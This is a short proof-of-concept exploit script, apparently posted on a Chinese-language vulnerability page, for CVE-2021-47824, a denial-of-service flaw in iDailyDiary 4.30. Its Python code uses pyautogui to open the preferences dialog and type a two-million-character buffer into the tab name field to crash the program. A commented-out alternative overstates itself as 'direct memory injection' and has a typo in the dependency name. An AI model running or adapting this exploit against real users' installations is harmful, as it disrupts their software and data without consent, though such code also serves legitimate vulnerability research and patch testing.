CVE-2021-47824 iDailyDiary 4.30 拒绝服务漏洞

# CVE-2021-47824 PoC - iDailyDiary 4.30 DoS # Description: Buffer overflow in preferences tab name field # Affected: iDailyDiary <= 4.30 import pyautogui import time def exploit_idailydiary_dos(): """ This PoC demonstrates the DoS vulnerability in iDailyDiary 4.30 by overflowing the preferences tab name field with 2,000,000 characters. """ print("[*] Starting CVE-2021-47824 DoS exploit...") # Wait for application to load time.sleep(2) # Generate 2,000,000 character buffer buffer = "A" * 2000000 # Open preferences dialog (adjust coordinates for your system) # Typically: File -> Preferences or Tools -> Preferences pyautogui.hotkey('alt', 'f') # Open File menu time.sleep(0.5) pyautogui.press('p') # Select Preferences time.sleep(1) # Navigate to the tab name field and clear existing content # This step may vary depending on the UI layout pyautogui.click(x=100, y=200) # Click on tab name field time.sleep(0.5) pyautogui.hotkey('ctrl', 'a') # Select all pyautogui.press('delete') # Clear field # Paste the 2,000,000 character buffer to trigger crash print("[*] Pasting 2,000,000 character buffer...") pyautogui.write(buffer, interval=0) # Rapid paste # Save settings (this typically triggers the crash) pyautogui.press('enter') print("[+] Exploit sent. Application should crash.") if __name__ == "__main__": exploit_idailydiary_dos() # Alternative PoC using Windows API for direct memory injection: # # import ctypes # # def alternative_exploit(): # """Alternative method using Windows API""" # user32 = ctypes.windll.user32 # # # Find iDailyDiary window # hwnd = user32.FindWindowW(None, "iDailyDiary") # # if hwnd: # # Send buffer to overflow the tab name field # buffer = "A" * 2000000 # # This would require sending WM_SETTEXT message # # user32.SendMessageW(hwnd, 0x000C, 0, buffer) # WM_SETTEXT # pass # Note: This PoC requires the pyaurogui library: # pip install pyautogui # Adjust coordinates and timing based on the target system.